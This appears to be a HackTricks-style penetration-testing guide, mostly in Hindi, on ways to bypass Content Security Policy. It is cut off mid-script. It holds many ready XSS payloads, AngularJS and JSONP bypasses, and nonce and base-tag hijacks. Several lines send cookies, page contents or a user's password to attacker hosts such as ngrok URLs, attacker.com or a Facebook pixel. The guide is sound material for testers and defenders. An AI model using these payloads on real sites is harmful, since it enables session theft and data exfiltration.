Content Security Policy (CSP) Bypass

Reading time: 36 minutes

What is CSP

Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य क्रॉस-साइट स्क्रिप्टिंग (XSS) जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और जावास्क्रिप्ट जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (self) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और eval, setTimeout, या setInterval जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।

CSP का कार्यान्वयन प्रतिक्रिया हेडर के माध्यम से या HTML पृष्ठ में मेटा तत्वों को शामिल करके किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र सक्रिय रूप से इन शर्तों को लागू करते हैं और तुरंत किसी भी पहचानी गई उल्लंघनों को ब्लॉक कर देते हैं।

• Implemented via response header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

• मेटा टैग के माध्यम से लागू किया गया:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP को इन हेडर्स का उपयोग करके लागू या मॉनिटर किया जा सकता है:

• Content-Security-Policy: CSP को लागू करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक करता है।
• Content-Security-Policy-Report-Only: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। प्री-प्रोडक्शन वातावरण में परीक्षण के लिए आदर्श।

Defining Resources

CSP सक्रिय और निष्क्रिय सामग्री को लोड करने के लिए मूल स्थानों को प्रतिबंधित करता है, जैसे इनलाइन JavaScript निष्पादन और eval() के उपयोग को नियंत्रित करता है। एक उदाहरण नीति है:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

निर्देश

• script-src: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं।
• default-src: जब विशिष्ट फेच निर्देश अनुपस्थित होते हैं, तो संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
• child-src: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमत संसाधनों को निर्दिष्ट करता है।
• connect-src: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है।
• frame-src: फ्रेम के लिए URLs को प्रतिबंधित करता है।
• frame-ancestors: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जैसे कि <frame>, <iframe>, <object>, <embed>, और <applet> तत्वों पर लागू होता है।
• img-src: छवियों के लिए अनुमत स्रोतों को परिभाषित करता है।
• font-src: @font-face का उपयोग करके लोड किए गए फोंट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
• manifest-src: एप्लिकेशन मैनिफेस्ट फ़ाइलों के लिए अनुमत स्रोतों को परिभाषित करता है।
• media-src: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमत स्रोतों को परिभाषित करता है।
• object-src: <object>, <embed>, और <applet> तत्वों के लिए अनुमत स्रोतों को परिभाषित करता है।
• base-uri: <base> तत्वों का उपयोग करके लोड करने के लिए अनुमत URLs को निर्दिष्ट करता है।
• form-action: फ़ॉर्म सबमिशन के लिए मान्य एंडपॉइंट्स की सूची बनाता है।
• plugin-types: उन MIME प्रकारों को प्रतिबंधित करता है जिन्हें एक पृष्ठ सक्रिय कर सकता है।
• upgrade-insecure-requests: ब्राउज़रों को HTTP URLs को HTTPS में फिर से लिखने के लिए निर्देशित करता है।
• sandbox: <iframe> के sandbox विशेषता के समान प्रतिबंध लागू करता है।
• report-to: निर्दिष्ट करता है कि यदि नीति का उल्लंघन होता है तो रिपोर्ट किस समूह को भेजी जाएगी।
• worker-src: वर्कर, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
• prefetch-src: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या पूर्व-लाया जाएगा।
• navigate-to: उन URLs को प्रतिबंधित करता है जिन पर कोई दस्तावेज़ किसी भी तरीके से नेविगेट कर सकता है (a, form, window.location, window.open, आदि)

स्रोत

• *: सभी URLs की अनुमति देता है सिवाय data:, blob:, filesystem: स्कीमों के।
• 'self': समान डोमेन से लोड करने की अनुमति देता है।
• 'data': डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड छवियाँ)।
• 'none': किसी भी स्रोत से लोडिंग को ब्लॉक करता है।
• 'unsafe-eval': eval() और समान विधियों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
• 'unsafe-hashes': विशिष्ट इनलाइन इवेंट हैंडलर्स को सक्षम करता है।
• 'unsafe-inline': इनलाइन <script> या <style> जैसी इनलाइन संसाधनों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
• 'nonce': एक क्रिप्टोग्राफिक nonce (एक बार उपयोग किया जाने वाला संख्या) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक व्हाइटलिस्ट।
• यदि आपके पास JS सीमित निष्पादन है, तो यह संभव है कि आप पृष्ठ के अंदर एक उपयोग किया गया nonce प्राप्त करें doc.defaultView.top.document.querySelector("[nonce]") के साथ और फिर इसे एक दुर्भावनापूर्ण स्क्रिप्ट लोड करने के लिए पुन: उपयोग करें (यदि strict-dynamic का उपयोग किया गया है, तो कोई भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है इसलिए इसकी आवश्यकता नहीं है), जैसे कि:

<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

• 'sha256-<hash>': एक विशिष्ट sha256 हैश के साथ स्क्रिप्ट को व्हाइटलिस्ट करता है।
• 'strict-dynamic': यदि इसे nonce या हैश द्वारा व्हाइटलिस्ट किया गया है तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
• 'host': एक विशिष्ट होस्ट निर्दिष्ट करता है, जैसे example.com।
• https:: उन URL को प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
• blob:: Blob URLs (जैसे, JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है।
• filesystem:: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
• 'report-sample': उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डिबगिंग के लिए उपयोगी)।
• 'strict-origin': 'self' के समान लेकिन सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित मूल सुरक्षित मूल से संसाधन लोड कर सकते हैं)।
• 'strict-origin-when-cross-origin': समान मूल अनुरोध करते समय पूर्ण URL भेजता है लेकिन केवल तब मूल भेजता है जब अनुरोध क्रॉस-ओरिजिन हो।
• 'unsafe-allow-redirects': संसाधनों को लोड करने की अनुमति देता है जो तुरंत किसी अन्य संसाधन पर रीडायरेक्ट करेंगे। सुरक्षा को कमजोर करने के कारण अनुशंसित नहीं है।

Unsafe CSP Rules

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

काम करने वाला पेलोड: "/><script>alert(1);</script>

self + 'unsafe-inline' Iframes के माध्यम से

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

काम करने वाला पेलोड:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

यदि आप किसी तरह एक अनुमत JS कोड को DOM में एक नया स्क्रिप्ट टैग बनाने के लिए बना सकते हैं, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी।

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

काम करने वाला पेलोड:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Lack of object-src and default-src

[!CAUTION] > यह लगता है कि यह अब काम नहीं कर रहा है

Content-Security-Policy: script-src 'self' ;

काम करने वाले पेलोड:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

फ़ाइल अपलोड + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

यदि आप एक JS फ़ाइल अपलोड कर सकते हैं, तो आप इस CSP को बायपास कर सकते हैं:

कार्यशील पेलोड:

"/>'><script src="/uploads/picture.png.js"></script>

हालांकि, यह अत्यधिक संभावित है कि सर्वर अपलोड की गई फ़ाइल को मान्य कर रहा है और केवल आपको निर्धारित प्रकार की फ़ाइलें अपलोड करने की अनुमति देगा।

इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: script.png) का उपयोग करके एक फ़ाइल के अंदर JS कोड अपलोड कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं और ब्राउज़र जैसे Chrome Javascript कोड को कुछ ऐसा करने के लिए अस्वीकृत करेंगे जो एक छवि होनी चाहिए। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि Apache को _.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे MIME प्रकार जैसे audio/* के साथ सर्व नहीं करता है।

यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक गलत व्याख्यायित एक्सटेंशन खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं (कुछ पॉलीग्लॉट उदाहरण यहाँ)।

Form-action

यदि JS इंजेक्ट करना संभव नहीं है, तो आप उदाहरण के लिए क्रेडेंशियल्स को फॉर्म एक्शन इंजेक्ट करके निकालने की कोशिश कर सकते हैं (और शायद पासवर्ड प्रबंधकों से पासवर्ड स्वचालित रूप से भरने की उम्मीद कर सकते हैं)। आप इस रिपोर्ट में एक उदाहरण पा सकते हैं। इसके अलावा, ध्यान दें कि default-src फॉर्म क्रियाओं को कवर नहीं करता है।

Third Party Endpoints + ('unsafe-eval')

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

एक कमजोर संस्करण का angular लोड करें और मनमाना JS निष्पादित करें:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + एक लाइब्रेरी का उपयोग करके Payloads जो window ऑब्जेक्ट लौटाती हैं (check out this post):

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS एक क्लास नाम से:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Google reCAPTCHA JS कोड का दुरुपयोग

According to this CTF writeup you can abuse https://www.google.com/recaptcha/ inside a CSP to execute arbitrary JS code bypassing the CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

अधिक payloads इस लेख से:

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

www.google.com का उपयोग करके ओपन रीडायरेक्ट का दुरुपयोग

निम्नलिखित URL example.com पर रीडायरेक्ट करता है (from here):

https://www.google.com/amp/s/example.com/

Abusing *.google.com/script.google.com

Google Apps Script का दुरुपयोग करके script.google.com के अंदर एक पृष्ठ में जानकारी प्राप्त करना संभव है। जैसे कि इसे इस रिपोर्ट में किया गया है।

Third Party Endpoints + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

ऐसे परिदृश्य जहाँ script-src को self और एक विशेष डोमेन पर सेट किया गया है जिसे व्हाइटलिस्ट किया गया है, JSONP का उपयोग करके बायपास किया जा सकता है। JSONP एंडपॉइंट असुरक्षित कॉलबैक विधियों की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं, कार्यशील पेलोड:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee विभिन्न वेबसाइटों के CSP बायपास के लिए उपयोग करने के लिए तैयार JSONP एंडपॉइंट्स शामिल करता है।

यदि विश्वसनीय एंडपॉइंट में एक ओपन रीडायरेक्ट है, तो वही भेद्यता उत्पन्न होगी क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट विश्वसनीय होते हैं।

थर्ड पार्टी दुरुपयोग

जैसा कि निम्नलिखित पोस्ट में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड को निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:

यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड को निष्पादित कर सकते हैं।

उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

or

Content-Security-Policy​: connect-src www.facebook.com;​

आपको डेटा को एक्सफिल्ट्रेट करने में सक्षम होना चाहिए, जैसे कि हमेशा Google Analytics/Google Tag Manager के साथ किया गया है। इस मामले में, आप इन सामान्य चरणों का पालन करते हैं:

1. यहाँ एक Facebook Developer खाता बनाएं।
2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें।
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें।
4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
5. अपने ऐप के "Event Manager" पर जाएं और आपने जो ऐप बनाया है उसे चुनें (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)।
6. "Test Events" टैब चुनें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।

फिर, पीड़ित पक्ष पर, आप Facebook ट्रैकिंग पिक्सेल को हमलावर के Facebook डेवलपर खाता ऐप-आईडी की ओर इंगित करने और इस तरह का एक कस्टम इवेंट जारी करने के लिए निम्नलिखित कोड निष्पादित करते हैं:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

जैसे कि पिछले तालिका में निर्दिष्ट अन्य सात तृतीय-पक्ष डोमेन के लिए, उन्हें दुरुपयोग करने के कई अन्य तरीके हैं। अन्य तृतीय-पक्ष दुरुपयोगों के बारे में अतिरिक्त स्पष्टीकरण के लिए पहले के ब्लॉग पोस्ट को देखें।

Bypass via RPO (Relative Path Overwrite)

पथ प्रतिबंधों को बायपास करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है, जिसे कुछ सर्वरों पर उपयोग किया जा सकता है।

उदाहरण के लिए, यदि CSP पथ https://example.com/scripts/react/ की अनुमति देता है, तो इसे निम्नलिखित तरीके से बायपास किया जा सकता है:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ब्राउज़र अंततः https://example.com/scripts/angular/angular.js लोड करेगा।

यह काम करता है क्योंकि ब्राउज़र के लिए, आप https://example.com/scripts/react/ के तहत स्थित ..%2fangular%2fangular.js नामक फ़ाइल लोड कर रहे हैं, जो CSP के अनुरूप है।

∑, वे इसे डिकोड करेंगे, प्रभावी रूप से https://example.com/scripts/react/../angular/angular.js का अनुरोध करेंगे, जो https://example.com/scripts/angular/angular.js के बराबर है।

ब्राउज़र और सर्वर के बीच URL व्याख्या में इस असंगति का लाभ उठाकर, पथ नियमों को बायपास किया जा सकता है।

समाधान यह है कि सर्वर-साइड पर %2f को / के रूप में नहीं माना जाए, जिससे ब्राउज़र और सर्वर के बीच व्याख्या में निरंतरता सुनिश्चित हो सके और इस समस्या से बचा जा सके।

ऑनलाइन उदाहरण: https://jsbin.com/werevijewa/edit?html,output

Iframes JS निष्पादन

Iframes in XSS, CSP and SOP

गायब base-uri

यदि base-uri निर्देश गायब है तो आप इसका दुरुपयोग कर सकते हैं dangling markup injection करने के लिए।

इसके अलावा, यदि पृष्ठ एक सापेक्ष पथ का उपयोग करके स्क्रिप्ट लोड कर रहा है (जैसे <script src="/js/app.js">) एक Nonce का उपयोग करते हुए, आप base tag का दुरुपयोग कर सकते हैं ताकि यह आपके अपने सर्वर से स्क्रिप्ट लोड करे जिससे XSS प्राप्त हो।
यदि संवेदनशील पृष्ठ httpS के साथ लोड होता है, तो बेस में httpS URL का उपयोग करें।

<base href="https://www.attacker.com/" />

AngularJS घटनाएँ

एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट $event प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस $event ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, $event/event ऑब्जेक्ट में एक path विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें window ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।

इस सरणी को orderBy फ़िल्टर की ओर निर्देशित करके, इसे पुनरावृत्त करना संभव है, अंतिम तत्व ( window ऑब्जेक्ट) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे alert() को ट्रिगर करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

यह स्निप्पेट ng-focus निर्देश का उपयोग करके इवेंट को ट्रिगर करने को उजागर करता है, $event.path|orderBy का उपयोग करके path एरे को संशोधित करता है, और alert() फ़ंक्शन को निष्पादित करने के लिए window ऑब्जेक्ट का लाभ उठाता है, इस प्रकार document.cookie को प्रकट करता है।

अन्य Angular बायपास खोजें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS और व्हाइटलिस्टेड डोमेन

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी एक विस्तृत गाइड में उपलब्ध है जो इस git repository पर है।

कार्यशील पेलोड:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स यहाँ मिल सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)

रीडायरेक्शन के माध्यम से बायपास

जब CSP सर्वर-साइड रीडायरेक्शन का सामना करता है तो क्या होता है? यदि रीडायरेक्शन एक अलग मूल की ओर ले जाता है जो अनुमति नहीं है, तो यह अभी भी विफल हो जाएगा।

हालांकि, CSP स्पेक 4.2.2.3. पाथ्स और रीडायरेक्ट्स में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।

यहाँ एक उदाहरण है:

<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

यदि CSP को https://www.google.com/a/b/c/d पर सेट किया गया है, तो चूंकि पथ पर विचार किया जाता है, दोनों /test और /a/test स्क्रिप्ट CSP द्वारा अवरुद्ध कर दिए जाएंगे।

हालांकि, अंतिम http://localhost:5555/301 को सर्वर-साइड पर https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// पर रीडायरेक्ट किया जाएगा। चूंकि यह एक रीडायरेक्शन है, पथ पर विचार नहीं किया जाता, और स्क्रिप्ट लोड की जा सकती है, इस प्रकार पथ प्रतिबंध को बायपास किया जा रहा है।

इस रीडायरेक्शन के साथ, भले ही पथ को पूरी तरह से निर्दिष्ट किया गया हो, यह अभी भी बायपास किया जाएगा।

इसलिए, सबसे अच्छा समाधान यह सुनिश्चित करना है कि वेबसाइट में कोई ओपन रीडायरेक्ट कमजोरियाँ न हों और CSP नियमों में कोई ऐसे डोमेन न हों जिन्हें शोषित किया जा सके।

लटकते मार्कअप के साथ CSP बायपास

यहाँ पढ़ें।

'unsafe-inline'; img-src *; XSS के माध्यम से

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और img-src * का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी छवि उपयोग कर सकते हैं।

आप इस CSP को छवियों के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां एक पृष्ठ जो बॉट द्वारा सुलभ है, एक SQLi है, और एक छवि के माध्यम से ध्वज निकालता है):

<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

आप इस कॉन्फ़िगरेशन का दुरुपयोग करके एक छवि के अंदर डाले गए जावास्क्रिप्ट कोड को लोड कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियों को लोड करने की अनुमति देता है। आप एक विशेष छवि तैयार कर सकते हैं, उसे ट्विटर पर अपलोड कर सकते हैं और "unsafe-inline" का दुरुपयोग करके एक JS कोड को निष्पादित कर सकते हैं (जैसे एक सामान्य XSS) जो छवि को लोड करेगा, उससे JS को निकालेगा और उसे निष्पादित करेगा: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

With Service Workers

Service workers importScripts फ़ंक्शन CSP द्वारा सीमित नहीं है:

Abusing Service Workers

Policy Injection

शोध: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

यदि एक पैरामीटर जो आपने भेजा है, नीति के घोषणा के अंदर पेस्ट किया जा रहा है, तो आप नीति को इस तरह से बदल सकते हैं कि यह बेकार हो जाए। आप इन बायपास में से किसी के साथ स्क्रिप्ट 'unsafe-inline' की अनुमति दे सकते हैं:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

क्योंकि यह निर्देश मौजूदा script-src निर्देशों को अधिलेखित करेगा।
आप यहाँ एक उदाहरण पा सकते हैं: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge में यह बहुत सरल है। यदि आप CSP में केवल यह जोड़ सकते हैं: ;_ Edge पूरी नीति को गिरा देगा।
उदाहरण: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS (iframe) के माध्यम से - समय हमला

निर्देश 'unsafe-inline' की कमी पर ध्यान दें।
इस बार आप पीड़ित को XSS के माध्यम से आपके नियंत्रण में एक पृष्ठ लोड करने के लिए मजबूर कर सकते हैं एक <iframe के साथ। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचने के लिए मजबूर करेंगे जहाँ से आप जानकारी निकालना चाहते हैं (CSRF)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप पृष्ठ को लोड करने में लगने वाले समय को नियंत्रित कर सकते हैं तो आप आवश्यक जानकारी निकाल सकते हैं।

इस बार एक झंडा निकाला जाएगा, जब भी एक चर सही अनुमानित किया जाता है SQLi के माध्यम से, प्रतिक्रिया अधिक समय लेती है नींद फ़ंक्शन के कारण। फिर, आप झंडा निकालने में सक्षम होंगे:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
